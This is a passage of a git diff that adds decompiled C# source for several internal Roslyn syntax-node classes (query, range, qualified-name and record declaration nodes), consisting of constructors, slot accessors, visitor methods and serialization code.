QualifiedNameSyntax(SyntaxKind kind, NameSyntax left, SyntaxToken dotToken, SimpleNameSyntax right, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal QualifiedNameSyntax(SyntaxKind kind, NameSyntax left, SyntaxToken dotToken, SimpleNameSyntax right) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)dotToken); + this.dotToken = dotToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => left, + 1 => dotToken, + 2 => right, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQualifiedName(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQualifiedName(this); + } + + public QualifiedNameSyntax Update(NameSyntax left, SyntaxToken dotToken, SimpleNameSyntax right) + { + if (left != Left || dotToken != DotToken || right != Right) + { + QualifiedNameSyntax qualifiedNameSyntax = SyntaxFactory.QualifiedName(left, dotToken, right); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + qualifiedNameSyntax = GreenNodeExtensions.WithDiagnosticsGreen(qualifiedNameSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + qualifiedNameSyntax = GreenNodeExtensions.WithAnnotationsGreen(qualifiedNameSyntax, (IEnumerable)annotations); + } + return qualifiedNameSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new QualifiedNameSyntax(base.Kind, left, dotToken, right, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new QualifiedNameSyntax(base.Kind, left, dotToken, right, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal QualifiedNameSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + NameSyntax nameSyntax = (NameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameSyntax); + left = nameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + dotToken = syntaxToken; + SimpleNameSyntax simpleNameSyntax = (SimpleNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)simpleNameSyntax); + right = simpleNameSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)left); + writer.WriteValue((IObjectWritable)(object)dotToken); + writer.WriteValue((IObjectWritable)(object)right); + } + + static QualifiedNameSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(QualifiedNameSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new QualifiedNameSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryBodySyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryBodySyntax.cs new file mode 100644 index 0000000..1c6c62c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryBodySyntax.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class QueryBodySyntax : CSharpSyntaxNode +{ + internal readonly GreenNode? clauses; + + internal readonly SelectOrGroupClauseSyntax selectOrGroup; + + internal readonly QueryContinuationSyntax? continuation; + + public SyntaxList Clauses => new SyntaxList(clauses); + + public SelectOrGroupClauseSyntax SelectOrGroup => selectOrGroup; + + public QueryContinuationSyntax? Continuation => continuation; + + internal QueryBodySyntax(SyntaxKind kind, GreenNode? clauses, SelectOrGroupClauseSyntax selectOrGroup, QueryContinuationSyntax? continuation, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (clauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(clauses); + this.clauses = clauses; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)selectOrGroup); + this.selectOrGroup = selectOrGroup; + if (continuation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)continuation); + this.continuation = continuation; + } + } + + internal QueryBodySyntax(SyntaxKind kind, GreenNode? clauses, SelectOrGroupClauseSyntax selectOrGroup, QueryContinuationSyntax? continuation, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (clauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(clauses); + this.clauses = clauses; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)selectOrGroup); + this.selectOrGroup = selectOrGroup; + if (continuation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)continuation); + this.continuation = continuation; + } + } + + internal QueryBodySyntax(SyntaxKind kind, GreenNode? clauses, SelectOrGroupClauseSyntax selectOrGroup, QueryContinuationSyntax? continuation) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (clauses != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(clauses); + this.clauses = clauses; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)selectOrGroup); + this.selectOrGroup = selectOrGroup; + if (continuation != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)continuation); + this.continuation = continuation; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => clauses, + 1 => selectOrGroup, + 2 => continuation, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQueryBody(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQueryBody(this); + } + + public QueryBodySyntax Update(SyntaxList clauses, SelectOrGroupClauseSyntax selectOrGroup, QueryContinuationSyntax continuation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (clauses != Clauses || selectOrGroup != SelectOrGroup || continuation != Continuation) + { + QueryBodySyntax queryBodySyntax = SyntaxFactory.QueryBody(clauses, selectOrGroup, continuation); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + queryBodySyntax = GreenNodeExtensions.WithDiagnosticsGreen(queryBodySyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + queryBodySyntax = GreenNodeExtensions.WithAnnotationsGreen(queryBodySyntax, (IEnumerable)annotations); + } + return queryBodySyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new QueryBodySyntax(base.Kind, clauses, selectOrGroup, continuation, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new QueryBodySyntax(base.Kind, clauses, selectOrGroup, continuation, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal QueryBodySyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + clauses = val; + } + SelectOrGroupClauseSyntax selectOrGroupClauseSyntax = (SelectOrGroupClauseSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)selectOrGroupClauseSyntax); + selectOrGroup = selectOrGroupClauseSyntax; + QueryContinuationSyntax queryContinuationSyntax = (QueryContinuationSyntax)reader.ReadValue(); + if (queryContinuationSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)queryContinuationSyntax); + continuation = queryContinuationSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)clauses); + writer.WriteValue((IObjectWritable)(object)selectOrGroup); + writer.WriteValue((IObjectWritable)(object)continuation); + } + + static QueryBodySyntax() + { + ObjectBinder.RegisterTypeReader(typeof(QueryBodySyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new QueryBodySyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryClauseSyntax.cs new file mode 100644 index 0000000..129b7ca --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryClauseSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class QueryClauseSyntax : CSharpSyntaxNode +{ + internal QueryClauseSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal QueryClauseSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected QueryClauseSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryContinuationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryContinuationSyntax.cs new file mode 100644 index 0000000..ab55d6e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryContinuationSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class QueryContinuationSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken intoKeyword; + + internal readonly SyntaxToken identifier; + + internal readonly QueryBodySyntax body; + + public SyntaxToken IntoKeyword => intoKeyword; + + public SyntaxToken Identifier => identifier; + + public QueryBodySyntax Body => body; + + internal QueryContinuationSyntax(SyntaxKind kind, SyntaxToken intoKeyword, SyntaxToken identifier, QueryBodySyntax body, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)intoKeyword); + this.intoKeyword = intoKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + + internal QueryContinuationSyntax(SyntaxKind kind, SyntaxToken intoKeyword, SyntaxToken identifier, QueryBodySyntax body, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)intoKeyword); + this.intoKeyword = intoKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + + internal QueryContinuationSyntax(SyntaxKind kind, SyntaxToken intoKeyword, SyntaxToken identifier, QueryBodySyntax body) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)intoKeyword); + this.intoKeyword = intoKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => intoKeyword, + 1 => identifier, + 2 => body, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.QueryContinuationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQueryContinuation(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQueryContinuation(this); + } + + public QueryContinuationSyntax Update(SyntaxToken intoKeyword, SyntaxToken identifier, QueryBodySyntax body) + { + if (intoKeyword != IntoKeyword || identifier != Identifier || body != Body) + { + QueryContinuationSyntax queryContinuationSyntax = SyntaxFactory.QueryContinuation(intoKeyword, identifier, body); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + queryContinuationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(queryContinuationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + queryContinuationSyntax = GreenNodeExtensions.WithAnnotationsGreen(queryContinuationSyntax, (IEnumerable)annotations); + } + return queryContinuationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new QueryContinuationSyntax(base.Kind, intoKeyword, identifier, body, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new QueryContinuationSyntax(base.Kind, intoKeyword, identifier, body, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal QueryContinuationSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + intoKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + QueryBodySyntax queryBodySyntax = (QueryBodySyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)queryBodySyntax); + body = queryBodySyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)intoKeyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)body); + } + + static QueryContinuationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(QueryContinuationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new QueryContinuationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryExpressionSyntax.cs new file mode 100644 index 0000000..4a42f82 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/QueryExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class QueryExpressionSyntax : ExpressionSyntax +{ + internal readonly FromClauseSyntax fromClause; + + internal readonly QueryBodySyntax body; + + public FromClauseSyntax FromClause => fromClause; + + public QueryBodySyntax Body => body; + + internal QueryExpressionSyntax(SyntaxKind kind, FromClauseSyntax fromClause, QueryBodySyntax body, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fromClause); + this.fromClause = fromClause; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + + internal QueryExpressionSyntax(SyntaxKind kind, FromClauseSyntax fromClause, QueryBodySyntax body, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fromClause); + this.fromClause = fromClause; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + + internal QueryExpressionSyntax(SyntaxKind kind, FromClauseSyntax fromClause, QueryBodySyntax body) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fromClause); + this.fromClause = fromClause; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => fromClause, + 1 => body, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.QueryExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQueryExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQueryExpression(this); + } + + public QueryExpressionSyntax Update(FromClauseSyntax fromClause, QueryBodySyntax body) + { + if (fromClause != FromClause || body != Body) + { + QueryExpressionSyntax queryExpressionSyntax = SyntaxFactory.QueryExpression(fromClause, body); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + queryExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(queryExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + queryExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(queryExpressionSyntax, (IEnumerable)annotations); + } + return queryExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new QueryExpressionSyntax(base.Kind, fromClause, body, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new QueryExpressionSyntax(base.Kind, fromClause, body, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal QueryExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + FromClauseSyntax fromClauseSyntax = (FromClauseSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fromClauseSyntax); + fromClause = fromClauseSyntax; + QueryBodySyntax queryBodySyntax = (QueryBodySyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)queryBodySyntax); + body = queryBodySyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)fromClause); + writer.WriteValue((IObjectWritable)(object)body); + } + + static QueryExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(QueryExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new QueryExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RangeExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RangeExpressionSyntax.cs new file mode 100644 index 0000000..b4e23f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RangeExpressionSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RangeExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax? leftOperand; + + internal readonly SyntaxToken operatorToken; + + internal readonly ExpressionSyntax? rightOperand; + + public ExpressionSyntax? LeftOperand => leftOperand; + + public SyntaxToken OperatorToken => operatorToken; + + public ExpressionSyntax? RightOperand => rightOperand; + + internal RangeExpressionSyntax(SyntaxKind kind, ExpressionSyntax? leftOperand, SyntaxToken operatorToken, ExpressionSyntax? rightOperand, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (leftOperand != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)leftOperand); + this.leftOperand = leftOperand; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + if (rightOperand != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)rightOperand); + this.rightOperand = rightOperand; + } + } + + internal RangeExpressionSyntax(SyntaxKind kind, ExpressionSyntax? leftOperand, SyntaxToken operatorToken, ExpressionSyntax? rightOperand, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (leftOperand != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)leftOperand); + this.leftOperand = leftOperand; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + if (rightOperand != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)rightOperand); + this.rightOperand = rightOperand; + } + } + + internal RangeExpressionSyntax(SyntaxKind kind, ExpressionSyntax? leftOperand, SyntaxToken operatorToken, ExpressionSyntax? rightOperand) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (leftOperand != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)leftOperand); + this.leftOperand = leftOperand; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + if (rightOperand != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)rightOperand); + this.rightOperand = rightOperand; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => leftOperand, + 1 => operatorToken, + 2 => rightOperand, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RangeExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRangeExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRangeExpression(this); + } + + public RangeExpressionSyntax Update(ExpressionSyntax leftOperand, SyntaxToken operatorToken, ExpressionSyntax rightOperand) + { + if (leftOperand != LeftOperand || operatorToken != OperatorToken || rightOperand != RightOperand) + { + RangeExpressionSyntax rangeExpressionSyntax = SyntaxFactory.RangeExpression(leftOperand, operatorToken, rightOperand); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + rangeExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(rangeExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + rangeExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(rangeExpressionSyntax, (IEnumerable)annotations); + } + return rangeExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RangeExpressionSyntax(base.Kind, leftOperand, operatorToken, rightOperand, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RangeExpressionSyntax(base.Kind, leftOperand, operatorToken, rightOperand, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RangeExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + leftOperand = expressionSyntax; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + rightOperand = expressionSyntax2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)leftOperand); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)rightOperand); + } + + static RangeExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RangeExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RangeExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RecordDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RecordDeclarationSyntax.cs new file mode 100644 index 0000000..6de1ec3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RecordDeclarationSyntax.cs @@ -0,0 +1,444 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RecordDeclarationSyntax : TypeDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken? classOrStructKeyword; + + internal readonly SyntaxToken identifier; + + internal readonly TypeParameterListSyntax? typeParameterList; + + internal readonly ParameterListSyntax? parameterList; + + internal readonly BaseListSyntax? baseList; + + internal readonly GreenNode? constraintClauses; + + internal readonly SyntaxToken? openBraceToken; + + internal readonly GreenNode? members; + + internal readonly SyntaxToken? closeBraceToken; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override SyntaxToken Keyword => keyword; + + public SyntaxToken? ClassOrStructKeyword => classOrStructKeyword; + + public override SyntaxToken Identifier => identifier; + + public override TypeParameterListSyntax? TypeParameterList => typeParameterList; + + public override ParameterListSyntax? ParameterList => parameterList; + + public override BaseListSyntax? BaseList => baseList; + + public override SyntaxList ConstraintClauses => new SyntaxList(constraintClauses); + + public override SyntaxToken? OpenBraceToken => openBraceToken; + + public override SyntaxList Members => new SyntaxList(members); + + public override SyntaxToken? CloseBraceToken => closeBraceToken; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal RecordDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken keyword, SyntaxToken? classOrStructKeyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, GreenNode? constraintClauses, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 13; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword 